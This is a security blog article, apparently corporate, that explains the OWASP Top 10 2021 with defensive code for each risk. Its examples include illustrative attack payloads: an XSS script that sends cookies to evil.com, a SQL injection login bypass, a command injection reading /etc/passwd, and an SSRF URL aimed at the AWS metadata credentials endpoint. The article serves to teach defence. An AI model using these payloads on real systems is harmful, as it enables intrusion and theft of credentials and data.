Przejdź do treści
Security

Web Application Security - OWASP Top 10

Published on:
·7 min read·Author: MDS Software Solutions Group

Web Application Security

bezpieczenstwo

Web Application Security - OWASP Top 10

Web application security is one of the most critical aspects of modern software development. Every year, millions of websites fall victim to attacks that lead to data breaches, financial losses, and reputational damage. OWASP (Open Web Application Security Project) regularly publishes an updated list of the Top 10 most critical security risks, serving as a reference point for developers, auditors, and system architects worldwide.

In this article, we will discuss each of the ten threats from the OWASP Top 10 2021 list in detail, show real-world attack examples, and present concrete techniques and code for protecting your applications.

1. A01:2021 - Broken Access Control#

Broken Access Control moved from fifth place to the most serious web application security risk in the 2021 edition. It occurs when users can act outside their intended permissions. This can mean accessing other users' data, modifying resources they should not have access to, or escalating privileges.

Attack Examples#

A classic example is URL parameter manipulation. Imagine a banking application where a user views their account at /account/12345. If they change the number to /account/12346 and the system does not verify their authorization, they gain access to another user's account.

Another scenario is IDOR (Insecure Direct Object Reference), where an API returns data based on a user-supplied identifier without proper authorization:

GET /api/users/42/invoices HTTP/1.1
Authorization: Bearer <token_of_user_13>

If the server returns invoices for user 42 using user 13's token, we have a serious vulnerability.

Prevention#

// Authorization middleware in Express.js
const authorizeResource = (resourceType: string) => {
  return async (req: Request, res: Response, next: NextFunction) => {
    const userId = req.user.id; // from JWT token
    const resourceId = req.params.id;

    const resource = await db.query(
      `SELECT * FROM ${resourceType} WHERE id = $1 AND owner_id = $2`,
      [resourceId, userId]
    );

    if (!resource.rows.length) {
      return res.status(403).json({ error: 'Access denied' });
    }

    req.resource = resource.rows[0];
    next();
  };
};

// Usage
app.get('/api/invoices/:id', authenticate, authorizeResource('invoices'), getInvoice);

Always apply the deny by default principle - deny access by default and require explicit permission grants. Implement access control on the server side and never rely solely on hiding UI elements.

2. A02:2021 - Cryptographic Failures#

This category, previously known as "Sensitive Data Exposure," covers improper use or lack of cryptography. It includes transmitting data in cleartext, using weak cryptographic algorithms, and improper key management.

Attack Examples#

Storing passwords in plain text or using weak hash functions (MD5, SHA1) is still a common issue. An attacker who gains database access can recover passwords using rainbow tables.

Another example is failure to enforce HTTPS, enabling man-in-the-middle attacks:

# Sniffing HTTP traffic on an unsecured Wi-Fi network
Cookie: session=abc123; user=admin

Prevention#

import bcrypt from 'bcrypt';
import crypto from 'crypto';

// Proper password hashing
const SALT_ROUNDS = 12;

async function hashPassword(password: string): Promise<string> {
  return bcrypt.hash(password, SALT_ROUNDS);
}

async function verifyPassword(password: string, hash: string): Promise<boolean> {
  return bcrypt.compare(password, hash);
}

// Encrypting sensitive data in the database
const ALGORITHM = 'aes-256-gcm';

function encrypt(text: string, key: Buffer): { encrypted: string; iv: string; tag: string } {
  const iv = crypto.randomBytes(16);
  const cipher = crypto.createCipheriv(ALGORITHM, key, iv);
  let encrypted = cipher.update(text, 'utf8', 'hex');
  encrypted += cipher.final('hex');
  const tag = cipher.getAuthTag();

  return {
    encrypted,
    iv: iv.toString('hex'),
    tag: tag.toString('hex'),
  };
}

Always enforce HTTPS using the HSTS header:

Strict-Transport-Security: max-age=63072000; includeSubDomains; preload

3. A03:2021 - Injection#

Injection is one of the oldest and most dangerous threat categories. Injection attacks occur when untrusted data is sent to an interpreter as part of a command or query. The most common types are SQL Injection, Cross-Site Scripting (XSS), and Command Injection.

SQL Injection#

An attacker manipulates a SQL query by injecting malicious code:

-- Vulnerable query
SELECT * FROM users WHERE username = '' OR '1'='1' --' AND password = 'anything'

This query returns all users from the database, bypassing authentication entirely.

XSS (Cross-Site Scripting)#

XSS allows attackers to inject JavaScript code into a victim's browser:

<!-- Stored XSS in a forum comment -->
<script>
  fetch('https://evil.com/steal?cookie=' + document.cookie);
</script>

Command Injection#

Injecting system commands:

# Vulnerable application executes:
ping -c 4 <user_input>
# Attacker enters: 127.0.0.1; cat /etc/passwd

Prevention#

// SQL Injection - use parameterized queries
// BAD:
const query = `SELECT * FROM users WHERE email = '${email}'`;

// GOOD - parameterized query (node-postgres):
const result = await pool.query(
  'SELECT * FROM users WHERE email = $1',
  [email]
);

// GOOD - ORM (Prisma):
const user = await prisma.user.findUnique({
  where: { email: email },
});

// XSS - output sanitization
import DOMPurify from 'dompurify';

function sanitizeHTML(dirty: string): string {
  return DOMPurify.sanitize(dirty, {
    ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'p', 'br'],
    ALLOWED_ATTR: [],
  });
}

// Command Injection - validation and allowlisting
import { execFile } from 'child_process';

// BAD:
exec(`ping -c 4 ${userInput}`);

// GOOD - execFile with arguments as an array:
const isValidIP = /^(\d{1,3}\.){3}\d{1,3}$/.test(userInput);
if (isValidIP) {
  execFile('ping', ['-c', '4', userInput], (error, stdout) => {
    // handle result
  });
}

4. A04:2021 - Insecure Design#

This new category in the 2021 edition addresses flaws at the application design stage. It is not about faulty implementation but rather the absence of security mechanisms in the system architecture itself.

Examples#

An e-commerce application allows unlimited attempts to enter a discount code - an attacker can brute force to guess active codes. A ticket reservation system does not limit the number of tickets per transaction, enabling scalpers to buy out the entire pool.

Prevention#

// Rate limiting at the design level
import rateLimit from 'express-rate-limit';

// Limit login attempts
const loginLimiter = rateLimit({
  windowMs: 15 * 60 * 1000, // 15 minutes
  max: 5, // 5 attempts per window
  message: { error: 'Too many login attempts. Try again in 15 minutes.' },
  standardHeaders: true,
  legacyHeaders: false,
  keyGenerator: (req) => req.body.email || req.ip,
});

app.post('/api/auth/login', loginLimiter, loginHandler);

// Limit coupon code attempts
const couponLimiter = rateLimit({
  windowMs: 60 * 60 * 1000, // 1 hour
  max: 10, // 10 attempts per hour
  keyGenerator: (req) => req.user.id,
});

app.post('/api/coupons/apply', authenticate, couponLimiter, applyCoupon);

When designing systems, apply threat modeling - systematically identifying potential threats at the architecture stage. Use methodologies like STRIDE or DREAD to classify risks.

5. A05:2021 - Security Misconfiguration#

Security misconfiguration is the most commonly encountered issue. It includes default passwords, unnecessary services, open ports, detailed error messages in production, and missing security patches.

Examples#

Leaving default admin panel credentials (admin/admin), displaying stack traces in API responses, enabling directory listing on the web server, and exposing an unsecured database console publicly.

Prevention#

// Express.js production configuration
import helmet from 'helmet';
import cors from 'cors';

const app = express();

// Helmet sets secure HTTP headers
app.use(helmet());

// Restrictive CORS configuration
app.use(cors({
  origin: ['https://www.example.com'],
  methods: ['GET', 'POST', 'PUT', 'DELETE'],
  allowedHeaders: ['Content-Type', 'Authorization'],
  credentials: true,
  maxAge: 86400,
}));

// Disable technology disclosure
app.disable('x-powered-by');

// Error handling without revealing details
app.use((err: Error, req: Request, res: Response, next: NextFunction) => {
  console.error('Internal error:', err); // log details

  res.status(500).json({
    error: 'An internal server error occurred',
    // DO NOT return err.message or err.stack in production
  });
});
# Nginx configuration - hide server version
server_tokens off;

# Disable directory listing
autoindex off;

# Restrict HTTP methods
if ($request_method !~ ^(GET|POST|PUT|DELETE|OPTIONS)$) {
    return 405;
}

6. A06:2021 - Vulnerable and Outdated Components#

Modern applications consist of many libraries and frameworks. Each of these components can contain known vulnerabilities. Using outdated package versions is an open invitation for attackers.

Examples#

The infamous Log4Shell vulnerability (CVE-2021-44228) in the Apache Log4j library allowed remote code execution (RCE) and affected millions of Java applications worldwide. Other examples include vulnerabilities in older jQuery versions that enabled XSS attacks, or the event-stream library compromise in the npm ecosystem.

Prevention#

# Regular dependency audits
npm audit
npm audit fix

# Automated security updates with Dependabot
# .github/dependabot.yml
# .github/dependabot.yml
version: 2
updates:
  - package-ecosystem: "npm"
    directory: "/"
    schedule:
      interval: "weekly"
    open-pull-requests-limit: 10
    labels:
      - "dependencies"
      - "security"
// Checking licenses and vulnerabilities in CI/CD
// package.json
{
  "scripts": {
    "security:check": "npm audit --audit-level=high",
    "security:fix": "npm audit fix",
    "deps:outdated": "npm outdated"
  }
}

Maintain a Software Bill of Materials (SBOM) - an inventory of all components and their versions in your application. Monitor CVE databases for new vulnerabilities in your dependencies.

7. A07:2021 - Identification and Authentication Failures#

This category covers weaknesses in login mechanisms, session management, and identity verification. It includes lack of brute force protection, weak password requirements, and improper session token management.

Examples#

An application allows the use of 123456 as a password with no complexity requirements. Session tokens are predictable or not renewed after login. The "forgot password" mechanism reveals whether a given email address exists in the system.

Prevention#

// Secure session configuration
import session from 'express-session';
import RedisStore from 'connect-redis';

app.use(session({
  store: new RedisStore({ client: redisClient }),
  secret: process.env.SESSION_SECRET!,
  name: '__Host-sid', // __Host- prefix requires HTTPS
  resave: false,
  saveUninitialized: false,
  cookie: {
    secure: true,
    httpOnly: true,
    sameSite: 'strict',
    maxAge: 30 * 60 * 1000, // 30 minutes
    domain: 'example.com',
  },
}));

// Password strength validation
import zxcvbn from 'zxcvbn';

function validatePassword(password: string): { valid: boolean; feedback: string[] } {
  const result = zxcvbn(password);

  if (result.score < 3) {
    return {
      valid: false,
      feedback: result.feedback.suggestions,
    };
  }

  if (password.length < 10) {
    return {
      valid: false,
      feedback: ['Password must be at least 10 characters long'],
    };
  }

  return { valid: true, feedback: [] };
}

// Multi-Factor Authentication (MFA) with TOTP
import speakeasy from 'speakeasy';

function generateTOTPSecret() {
  return speakeasy.generateSecret({
    name: 'MyApplication',
    issuer: 'MDS Software',
  });
}

function verifyTOTP(secret: string, token: string): boolean {
  return speakeasy.totp.verify({
    secret,
    encoding: 'base32',
    token,
    window: 1,
  });
}

8. A08:2021 - Software and Data Integrity Failures#

This new category covers issues related to lack of code and data integrity verification. It includes insecure CI/CD pipelines, unverified software updates, and deserialization of untrusted data.

Examples#

A supply chain attack involving the takeover of a popular npm package and injection of malicious code. Lack of digital signature verification during automatic updates. Deserialization of untrusted objects leading to remote code execution.

Prevention#

// Dependency integrity verification with package-lock.json
// In CI/CD, use npm ci instead of npm install
// npm ci installs exactly what is in the lockfile

// Subresource Integrity (SRI) for external scripts
// in HTML:
`<script
  src="https://cdn.example.com/lib.js"
  integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8w"
  crossorigin="anonymous"
></script>`

// Secure deserialization - avoid eval() and JSON.parse without validation
import Ajv from 'ajv';

const ajv = new Ajv();

const userSchema = {
  type: 'object',
  properties: {
    name: { type: 'string', maxLength: 100 },
    email: { type: 'string', format: 'email' },
    role: { type: 'string', enum: ['user', 'editor'] },
  },
  required: ['name', 'email'],
  additionalProperties: false,
};

const validateUser = ajv.compile(userSchema);

function parseUserData(data: unknown) {
  if (!validateUser(data)) {
    throw new Error(`Invalid data: ${ajv.errorsText(validateUser.errors)}`);
  }
  return data;
}

9. A09:2021 - Security Logging and Monitoring Failures#

Without proper logging and monitoring, security breaches can remain undetected for weeks or months. The average time to detect a data breach is 287 days. Lack of logs means inability to analyze incidents and respond to attacks.

Examples#

An application does not log failed login attempts, making it impossible to detect brute force attacks. No alerts for unusual activity (e.g., login from a new country). Logs lack sufficient information to reconstruct the attack sequence.

Prevention#

import winston from 'winston';

// Secure logging configuration
const logger = winston.createLogger({
  level: 'info',
  format: winston.format.combine(
    winston.format.timestamp(),
    winston.format.json()
  ),
  defaultMeta: { service: 'webapp' },
  transports: [
    new winston.transports.File({ filename: 'error.log', level: 'error' }),
    new winston.transports.File({ filename: 'security.log' }),
  ],
});

// Logging security events
function logSecurityEvent(event: {
  type: string;
  userId?: string;
  ip: string;
  details: string;
  severity: 'low' | 'medium' | 'high' | 'critical';
}) {
  logger.warn('SECURITY_EVENT', {
    ...event,
    timestamp: new Date().toISOString(),
  });

  // Alert for critical events
  if (event.severity === 'critical') {
    notifySecurityTeam(event);
  }
}

// Authentication attempt logging middleware
function logAuthAttempt(req: Request, success: boolean) {
  logSecurityEvent({
    type: success ? 'AUTH_SUCCESS' : 'AUTH_FAILURE',
    userId: req.body.email,
    ip: req.ip,
    details: `Login attempt from ${req.headers['user-agent']}`,
    severity: success ? 'low' : 'medium',
  });
}

// Anomaly detection - too many failed attempts
const failedAttempts = new Map<string, number>();

function detectBruteForce(ip: string): boolean {
  const attempts = (failedAttempts.get(ip) || 0) + 1;
  failedAttempts.set(ip, attempts);

  if (attempts >= 10) {
    logSecurityEvent({
      type: 'BRUTE_FORCE_DETECTED',
      ip,
      details: `${attempts} failed attempts from IP`,
      severity: 'critical',
    });
    return true;
  }
  return false;
}

10. A10:2021 - Server-Side Request Forgery (SSRF)#

SSRF is a new entry in the OWASP Top 10. The attack involves forcing a server to make HTTP requests to arbitrary addresses, including internal resources that are normally inaccessible from the outside.

Examples#

An application allows users to provide a URL to fetch an image. An attacker supplies an internal service address:

https://example.com/fetch-image?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

This address (169.254.169.254) is the AWS EC2 metadata server - the attacker can obtain temporary IAM credentials.

Prevention#

import { URL } from 'url';
import dns from 'dns/promises';
import ipaddr from 'ipaddr.js';

async function isUrlSafe(inputUrl: string): Promise<boolean> {
  try {
    const parsed = new URL(inputUrl);

    // Only allow HTTP and HTTPS
    if (!['http:', 'https:'].includes(parsed.protocol)) {
      return false;
    }

    // Block private IP addresses
    const addresses = await dns.resolve4(parsed.hostname);

    for (const addr of addresses) {
      const ip = ipaddr.parse(addr);
      const range = ip.range();

      if (['private', 'loopback', 'linkLocal', 'uniqueLocal'].includes(range)) {
        return false;
      }
    }

    // Block known cloud metadata addresses
    const blockedHosts = [
      '169.254.169.254',   // AWS/GCP metadata
      'metadata.google.internal',
      '100.100.100.200',   // Alibaba Cloud
    ];

    if (blockedHosts.includes(parsed.hostname)) {
      return false;
    }

    return true;
  } catch {
    return false;
  }
}

// Usage
app.post('/api/fetch-image', async (req, res) => {
  const { url } = req.body;

  if (!await isUrlSafe(url)) {
    return res.status(400).json({ error: 'URL not allowed' });
  }

  // Safely fetch the resource with a timeout
  const response = await fetch(url, {
    signal: AbortSignal.timeout(5000),
    redirect: 'error', // block redirects
  });

  // Verify Content-Type
  const contentType = response.headers.get('content-type');
  if (!contentType?.startsWith('image/')) {
    return res.status(400).json({ error: 'Resource is not an image' });
  }

  const buffer = await response.arrayBuffer();
  res.set('Content-Type', contentType);
  res.send(Buffer.from(buffer));
});

HTTP Security Headers#

In addition to protecting against individual attacks, it is essential to set proper HTTP headers that provide an additional layer of defense:

// Complete security headers configuration
app.use((req, res, next) => {
  // Content Security Policy - protection against XSS and injection
  res.setHeader('Content-Security-Policy', [
    "default-src 'self'",
    "script-src 'self' 'nonce-${generateNonce()}'",
    "style-src 'self' 'unsafe-inline'",
    "img-src 'self' data: https:",
    "font-src 'self'",
    "connect-src 'self' https://api.example.com",
    "frame-ancestors 'none'",
    "base-uri 'self'",
    "form-action 'self'",
  ].join('; '));

  // Clickjacking protection
  res.setHeader('X-Frame-Options', 'DENY');

  // MIME sniffing protection
  res.setHeader('X-Content-Type-Options', 'nosniff');

  // Referrer Policy
  res.setHeader('Referrer-Policy', 'strict-origin-when-cross-origin');

  // Permissions Policy - restrict browser API access
  res.setHeader('Permissions-Policy',
    'camera=(), microphone=(), geolocation=(), payment=(self)'
  );

  // HSTS - enforce HTTPS
  res.setHeader('Strict-Transport-Security',
    'max-age=63072000; includeSubDomains; preload'
  );

  next();
});

CORS - Cross-Origin Resource Sharing#

Proper CORS configuration is a critical security element. An overly permissive CORS policy can enable unauthorized API access:

import cors from 'cors';

// BAD - allows requests from any domain:
app.use(cors({ origin: '*' }));

// GOOD - restrictive configuration:
const allowedOrigins = [
  'https://www.example.com',
  'https://app.example.com',
];

app.use(cors({
  origin: (origin, callback) => {
    // Allow requests without origin (e.g., mobile apps, curl)
    if (!origin) return callback(null, true);

    if (allowedOrigins.includes(origin)) {
      callback(null, true);
    } else {
      callback(new Error('Not allowed by CORS'));
    }
  },
  methods: ['GET', 'POST', 'PUT', 'DELETE'],
  allowedHeaders: ['Content-Type', 'Authorization'],
  exposedHeaders: ['X-Request-Id'],
  credentials: true,
  maxAge: 86400,
}));

Content Security Policy (CSP) in Practice#

CSP is one of the most effective defense mechanisms against XSS attacks. It allows you to define where the browser can load resources from:

import crypto from 'crypto';

// Generate nonce for inline scripts
function generateNonce(): string {
  return crypto.randomBytes(16).toString('base64');
}

app.use((req, res, next) => {
  const nonce = generateNonce();
  res.locals.nonce = nonce;

  const csp = {
    'default-src': ["'self'"],
    'script-src': ["'self'", `'nonce-${nonce}'`, "'strict-dynamic'"],
    'style-src': ["'self'", "'unsafe-inline'"],
    'img-src': ["'self'", 'data:', 'https:'],
    'font-src': ["'self'", 'https://fonts.gstatic.com'],
    'connect-src': ["'self'", 'https://api.example.com'],
    'frame-src': ["'none'"],
    'object-src': ["'none'"],
    'base-uri': ["'self'"],
    'form-action': ["'self'"],
    'frame-ancestors': ["'none'"],
    'upgrade-insecure-requests': [],
  };

  const cspString = Object.entries(csp)
    .map(([key, values]) => `${key} ${values.join(' ')}`)
    .join('; ');

  res.setHeader('Content-Security-Policy', cspString);
  next();
});

Web Application Security Checklist#

To summarize, here are the most important points to verify in every web application:

  • Access Control: Verify permissions server-side for every request
  • Cryptography: Use bcrypt/Argon2 for passwords, AES-256-GCM for data, enforce HTTPS
  • Injection: Parameterized queries, input sanitization, CSP
  • Design: Threat modeling, rate limiting, principle of least privilege
  • Configuration: Server hardening, hide versions, disable debugging
  • Dependencies: Regular audits, automated updates, SBOM
  • Authentication: MFA, strong passwords, secure sessions
  • Integrity: SRI, signature verification, data validation
  • Monitoring: Security event logging, alerting, anomaly analysis
  • SSRF: URL validation, private IP blocking, redirect restrictions

Conclusion#

Web application security is an ongoing process, not a one-time activity. The OWASP Top 10 2021 list provides a solid foundation for identifying and eliminating the most common threats. It is crucial to implement security at every stage of the software development lifecycle - from design, through implementation, to deployment and monitoring.

Remember that even the best technical safeguards cannot replace a security culture within the team. Regular training, security code reviews, and penetration testing should be permanent elements of the software development process.


Need a professional security audit or help implementing protections in your application? The MDS Software Solutions Group team specializes in designing and building secure web applications following OWASP best practices. Contact us to discuss your project's security.

Author
MDS Software Solutions Group

Team of programming experts specializing in modern web technologies.

Web Application Security - OWASP Top 10 | MDS Software Solutions Group | MDS Software Solutions Group